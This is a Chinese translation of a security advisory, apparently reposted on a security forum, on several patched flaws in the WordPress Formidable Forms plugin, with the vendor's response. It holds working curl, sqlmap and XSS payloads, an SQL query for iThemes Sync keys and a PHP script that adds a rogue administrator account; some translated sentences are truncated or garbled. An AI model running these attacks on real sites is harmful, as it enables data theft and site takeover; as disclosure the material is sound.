# 【译】Wordpress Formidable Forms插件现漏洞

angel010 / 2017-11-16 09:19:00 / 浏览数 2163 技术文章 技术文章 顶(0) 踩(0)

---

简介

Formidable Forms是WordPress的一个插件，有超过20万的安装。可以用来创建联系人表格、投票、调查问卷和其他表格。Formidable Forms是免费的，但是它的升级版Formidable Forms Pro是收费的。
发现的一些漏洞已经在2.05.02和2.05.03版本中修复了。

未授权的预览函数允许简码（shortcodes）

该插件使用AJAX预览函数，任何未授权的人都可以进行预览。该函数会接受一些影响生成表单预览HTML方法的参数。参数after_html和before_html可以被用来在表单前后这些参数中的WordPress简码标记会得到评估。正常来说，非认证的用户不能评估简码，因为简码一般来说是比较敏感的。Wordpress的核心应用了一些简码。插件可以应Ultimate。一些Formidable应用的简码能够被Shortcodes Ultimate函数利用。

```
Example:
curl -s -i 'https://target.site/wp-admin/admin-ajax.php' \
   --data 'action=frm_forms_preview&after_html=any html here and [any_shortcode]...'
```

SQL注入

Formidable Pro使用的[display-frm-data]简码有一个SQL注入的bug。Order简码属性用于ORDER BY语句，比如下面的请求产生了SQL错误信息。

```
curl -s -i 'https://target.site/wp-admin/admin-ajax.php' \
   --data 'action=frm_forms_preview&after_html=[display-frm-data id=123 order_by=id limit=1 order=zzz]'
```

利用这个bug有一些障碍，但是仍然可以解决。首先，这是SQL盲注入，注入的SQL查询结果不能直接看到。这只影响影响项目的顺序。利用sqlmap这样的工具足够取出所有--eval在每个“,”后面增加“-it.id”来消除这种逻辑。

比如，根据简码逻辑，注入的查询“SELECT a,b”会被翻译成“SELECT a,it.id b”。Eval“repair”代码把查询变成了“SELECT a,it.id-it.id+b”。必须使用“commalesslimit”sqlmap tamper模块来避免LIMIT语句中的问题。

Example sqlmap command line:

```
./sqlmap.py -u 'https://target.site/wp-admin/admin-ajax.php' \
   --data 'action=frm_forms_preview&before_html=[display-frm-data id=123 order_by=id limit=1 order="%2a( true=true )"]' \
   --param-del ' ' -p true --dbms mysql --technique B --string test_string \
   --eval 'true=true.replace(",",",-it.id%2b");order_by="id,"*true.count(",")+"id"'  \
   --test-filter DUAL --tamper commalesslimit -D database_name \
   --sql-query "SELECT user_name FROM wp_users WHERE id=1"
```

漏洞可以被用来枚举数据库和系统中的表，并可以用来取回内容。这包括wordpress用户细节和密码哈希值，所有的Formidable数据，和其他数据库的内容。在上面的命令id，test_string必须与form中的数据匹配。这样sqlmap可以区分“true”和“false”的响应。

取回的未认证form记录

Formidable应用的[formresults]简码可以用来看站点上提交的form响应。Form响应一般包括联系细节和其他的敏感信息。
Example retrieval using the cURL command line tool:

```
curl 'https://target.site/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&after_html=[formresults id=123]'
```

响应包含所有form id为123提交的记录。

Form预览中的反射性XSS

危险的HTML可以在after_html和before_html参数中注入来创建基于POST的XSS。
Example form:

```
<form method="POST" action="https://target.site/admin-ajax.php?action=frm_forms_preview">
<input name="before_html" value="<svg on[entry_key]load=alert(/xss/) />">
</form>
```

预览前，Formidable可以删除[entry_key]部分，这可以绕过浏览器内置的XSS保护。

Form记录中的存储型XSS

管理员可以查看wordpress dashboard中Formidable forms中用户输入的数据。任何form中的HTML都经过wp_kses()过滤，但这不足以阻止危险的HTML，因为允许“id”和“class”HTML属性，比如<form>HTML标签。因此，伪造可以在form记录预览时执行attacker-supplied JS的HTML代码是可能的。

Example:

```
<form id=tinymce><textarea name=DOM></textarea></form>
   <a class=frm_field_list>panelInit</a>
   <a id="frm_dyncontent"><b id="xxxdyn_default_valuexxxxx" class="ui-find-overlay wp-editor-wrap">overlay</b></a>
   <a id=post-visibility-display>vis1</a><a id=hidden-post-visibility>vis2</a><a id=visibility-radio-private>vis3</a>
   <div id=frm-fid-search-menu><a id=frm_dynamic_values_tab>zzz</a></div>
   <form id=posts-filter method=post action=admin-ajax.php?action=frm_forms_preview><textarea name=before_html>&lt;svg on[entr
```

Formidable的initialization JavaScript
(formidable_admin.js)会对上面例子中的"id"和"class"属性进行特殊处理。类"frm_field_list"中元素的存在会引起函数frmAdminBuild.panelInit()的执行。

函数的最后，如果存在"tinymce"对象，就会增加特定的event handlers：

```
if(typeof(tinymce)=='object'){

   // ...

   jQuery('#frm_dyncontent').on('mouseover mouseout', '.wp-editor-wrap', function(e){
       // ...
       toggleAllowedShortcodes(this.id.slice(3,-5),'focusin');
   }
}
```

通过在上面的form记录中增加<form id=tinymce> 元素来绕过检查。鼠标悬停和划过handlers被增加到attacker-supplied "frm_dyncontent"
的元素中。含有的<b>元素的属性可以充满整个浏览器屏幕，所以handlers是自动触发的，引起函数toggleAllowedShortcodes()自动执行。

因为slice()调用被移除了，而且函数以参数dyn_default_value被调用。该函数含有下面的代码：

```
//Automatically select a tab
if(id=='dyn_default_value'){
   jQuery(document.getElementById('frm_dynamic_values_tab')).click();
```

Attacker-supplied记录也含有 frm_dynamic_values_tab 记录，任何关于该元素的点击handlers都会自动执行。因为位于frm-fid-search-menu
div中，因此会有一个click handler，click handler通过下面的代码安装：

```
// submit the search for with dropdown
jQuery('#frm-fid-search-menu a').click(function(){
   var val = this.id.replace('fid-', '');
   jQuery('select[name="fid"]').val(val);
       jQuery(document.getElementById('posts-filter')).submit();
           return false;
});
```

这意味着当form记录预览时，id为posts-filter的form会自动提交。攻击者可以在form
response中进行注入。这利用了基于POST的反射性XSS，可以有效地变成存储型XSS。

在event handlers安装和触发前，vis1, vis2,和vis3元素是用来防止js错误的。
这样，当管理员在dashboard中查看form时，未认证的攻击者可以注入执行任意js到Formidable
form记录中。服务端代码执行可以在默认配置下进行，比如通过插件或主机编辑器AJAX函数。

通过iThemes Sync实现服务端代码执行

虽然不是Formidable的bug，但是如果iThemes Sync插件在系统中激活了，那么SQL注入可以通过查询取回数据库中的认证密钥：

```
SELECT option_value FROM wp_options WHERE option_name='ithemes-sync-cache'
```

响应中含有user id和认证密钥（php序列号格式），例如：

```
... s:15:"authentications";a:1:{i:123;a:4:{s:3:"key";s:10:"(KEY HERE)";s:9:"timestamp"; ...
```

上面的例子中user id是123，认证密钥是（KEY HERE）。这些信息可以通过iThemes
Sync函数控制wordpress系统。这包括利用函数来增加新的管理员用户或者安装、激活wordpress插件。

Example script:

```
<?php
// fill in these two
$user_id='123';
$key='(KEY HERE)';

$action='manage-users';
```

```
$newuser=array();
$newuser[0]=array();
$newuser[0][0]=array();
$newuser[0][0]['user_login']='newuser';
$newuser[0][0]['user_pass']='newpass';
$newuser[0][0]['user_email']='test@klikki.fi';
$newuser[0][0]['role']='administrator';

$args=array();
$args['add']=$newuser;

$salt='A';

$hash=hash('sha256',$user_id.$action.json_encode($args).$key.$salt);

$req=array();
$req['action']=$action;
$req['arguments']=$args;
$req['user_id']=$user_id;
$req['salt']=$salt;
$req['hash']=$hash;

$data='request='.json_encode($req);
echo("sending: $data\n");

$c=curl_init();
curl_setopt($c, CURLOPT_URL,'https://target.site/?ithemes-sync-reques%74=1');
curl_setopt($c, CURLOPT_HTTPHEADER, array('User-Agent: Mozilla','X-Forwarded-For: 123.1.2.3'));
curl_setopt($c, CURLOPT_POSTFIELDS, $data);
$res=curl_exec($c);

echo("response: ".json_encode($res)."\n");
?>
```

这个例子可以增加新的WordPress管理员用户“newuser”，密码“newpass”。查询字符串参数是冗余编码的，用来绕过系统中的硬设置。X-Forwarded-For的设置也是出于同

厂商回应

2017年10月向厂商通报了这些漏洞，漏洞在2.05.02
和2.05.03版本中进行了修复。如果没有设置插件自动更新，可以通过wordpress页中的更新按钮进行更新。免费版和pro版都有更新和补丁修复。
关于iThemes Sync RCE，开发者并不认为这是一个漏洞，因为有许多方法可以通过SQL注入获取服务端（代码）执行。

来源：https://klikki.fi/adv/formidable.html


上一篇：代码审计之Cacti 1.1.27 下一篇：Solr XXE & RCE 详细...

1. 0 条回复
   - 动动手指，沙发就是你的了！